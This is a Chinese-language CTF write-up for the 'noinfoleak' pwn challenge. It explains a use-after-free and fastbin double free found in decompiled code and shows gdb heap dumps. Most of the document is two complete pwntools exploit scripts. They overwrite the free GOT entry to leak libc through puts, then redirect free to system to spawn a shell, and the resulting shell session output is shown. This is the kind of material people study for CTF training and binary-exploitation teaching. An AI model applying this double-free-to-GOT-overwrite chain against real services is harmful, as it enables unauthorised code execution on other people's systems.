noinfoleak

简要分析

漏洞存在在del这个函数,该函数将保存chunk的地址作为参数free掉:

1
2
3
4
5
6
7
8
9
void del_4009DE()
{
int index; // [rsp+Ch] [rbp-4h]

putchar('>');
index = readnum_4008A7();
if ( index >= 0 && index <= 15 )
free(arr[2 * index]);
}

free之后没有置NULL,存在UAF漏洞。

而malloc的chunk最大为(127+1+8)#16=144,控制chunk大小小于128,free掉的chunk就会link进fastbin,此时进行double free就会造成fastbin double free:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void add_40090A()
{
signed int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]

for ( index = 0; index <= 15; ++index )
{
if ( !arr[2 * index] )
{
putchar('>');
size = readnum_4008A7();
if ( size > 0 && size <= 127 )
{
arr[2 * index + 1] = size;
arr[2 * index] = malloc(size + 1);
putchar('>');
read(0, arr[2 * index], size);
}
return;
}
}
}

arr用来存放malloc的chunk的地址以及对应的大小:

1
2
3
4
5
6
7
8
9
10
11
12
//这里malloc了三个chunk,可以看到arr分别存储的chunk的地址以及大小
gdb-peda$ x/20gx 0x6010a0
0x6010a0: 0x0000000000602010 0x0000000000000020 //0
0x6010b0: 0x0000000000602050 0x0000000000000020 //2
0x6010c0: 0x0000000000602080 0x0000000000000020 //2
0x6010d0: 0x0000000000000000 0x0000000000000000
0x6010e0: 0x0000000000000000 0x0000000000000000
0x6010f0: 0x0000000000000000 0x0000000000000000
0x601100: 0x0000000000000000 0x0000000000000000
0x601110: 0x0000000000000000 0x0000000000000000
0x601120: 0x0000000000000000 0x0000000000000000
0x601130: 0x0000000000000000 0x0000000000000000

程序还提供了修改的功能,可以进行一个地址的写操作,结合上面的例子:edit(0,”AAAAAAAA”)修改0x602010 chunk里的数据为”AAAAAAAA”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
signed int edit_400A28()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]

putchar('>');
result = readnum_4008A7();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar('>');
result = read(0, arr[2 * v1], arr[2 * v1 + 1]);
}
return result;
}

debug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level="debug"

local = 1
binary_name = 'noinfoleak'

if local:
io = process('./noinfoleak')
libc = ELF('./libc.so.6',checksec=False)
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
io = remote('ctf1.linkedbyx.com',10446)
libc = ELF('./libc.so.6',checksec=False)


bin = ELF('./'+binary_name,checksec=False)
libc=ELF('./libc.so.6')

def z(a=''):
gdb.attach(io,a)
if a == '':
raw_input()

def add(size,data):
io.sendlineafter(">","1")
io.sendlineafter(">",str(size))
io.sendlineafter(">",data)

def delete(index):
io.sendlineafter(">","2")
io.sendlineafter(">",str(index))

def edit(index,data):
io.sendlineafter(">","3")
io.sendlineafter(">",str(index))
io.sendafter(">",data)


arr_addr=0x6010A0

add(0x30,"/bin/sh\x00")#0
add(0x20,"AAAAAAAA")#1
add(0x20,"BBBBBBBB")#2

delete(1)
delete(2)
delete(1)

add(0x20,p64(arr_addr))#3
add(0x20,"CCCCCCCC")#4
add(0x20,"DDDDDDDD")#5
add(0x20,"EEEEEEEE")#6

z()

chunk:

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000041
0x602010: 0x0068732f6e69622f 0x000000000000000a //chunk0
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000031
0x602050: 0x4444444444444444 0x000000000000000a //chunk1
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000031
0x602080: 0x4343434343434343 0x000000000000000a //chunk2
0x602090: 0x0000000000000000 0x0000000000000000

array:

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/20xg 0x6010a0
0x6010a0: 0x0000000000602010 0x0000000000000030 //0
0x6010b0: 0x4545454545454545 0x000000000000000a //1
0x6010c0: 0x0000000000602080 0x0000000000000020 //2
0x6010d0: 0x0000000000602050 0x0000000000000020 //3
0x6010e0: 0x0000000000602080 0x0000000000000020 //4
0x6010f0: 0x0000000000602050 0x0000000000000020 //5
0x601100: 0x00000000006010b0 0x0000000000000020
0x601110: 0x0000000000000000 0x0000000000000000
0x601120: 0x0000000000000000 0x0000000000000000
0x601130: 0x0000000000000000 0x0000000000000000

edit(1,addr),填充index为1的arr存储的地址指向的空间为addr。

exploit

思路如下:

首先通过double free将0x6010a0开始的一段空间作为fake chunk,这样结合edit的操作进行地址的写入比较方便。

通过edit最后一个malloc的fake chunk来修改chunk1的地址,通过edit chunk1来达成任意地址修改,这里修改free的地址比较方便:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context.log_level="debug"

import binascii

def big_small_end_convert(data):
return binascii.hexlify(binascii.unhexlify(data)[::-1])

local = 1
binary_name = 'noinfoleak'

if local:
io = process('./noinfoleak')
libc = ELF('./libc.so.6',checksec=False)

else:
io = remote('ctf1.linkedbyx.com',10446)
libc = ELF('./libc.so.6',checksec=False)


elf = ELF('./'+binary_name,checksec=False)
libc=ELF('./libc.so.6')

def z(a=''):
gdb.attach(io,a)
if a == '':
raw_input()

def add(size,data):
io.sendlineafter(">","1")
io.sendlineafter(">",str(size))
io.sendlineafter(">",data)

def delete(index):
io.sendlineafter(">","2")
io.sendlineafter(">",str(index))

def edit(index,data):
io.sendlineafter(">","3")
io.sendlineafter(">",str(index))
io.sendafter(">",data)


arr_addr=0x6010A0
free_got=0x601018
puts_plt=0x4006B0
puts_got=0x601028

add(0x30,"/bin/sh\x00")#0
add(0x20,"AAAAAAAA")#1
add(0x20,"BBBBBBBB")#2

delete(1)
delete(2)
delete(1)

add(0x20,p64(arr_addr))#3
add(0x20,"CCCCCCCC")#4
add(0x20,"DDDDDDDD")#5
add(0x20,p64(free_got))#6->fake chunk (1)

edit(1,p64(puts_plt))
edit(6,p64(puts_got))
delete(1)

puts_addr=int(big_small_end_convert(enhex(io.recvline()[:-1])),16)
libc_base=puts_addr-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]

print "puts_addr=",hex(puts_addr)
print "libc_base=",hex(libc_base)
print "system_addr=",hex(system_addr)

edit(6,p64(free_got))
edit(1,p64(system_addr))
delete(0)

io.interactive()
1
2
3
4
5
6
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x4a bytes:
'core exp1.py exp.py libc.so.6 noinfoleak peda-session-noinfoleak.txt\n'
core exp1.py exp.py libc.so.6 noinfoleak peda-session-noinfoleak.txt

Reference Documents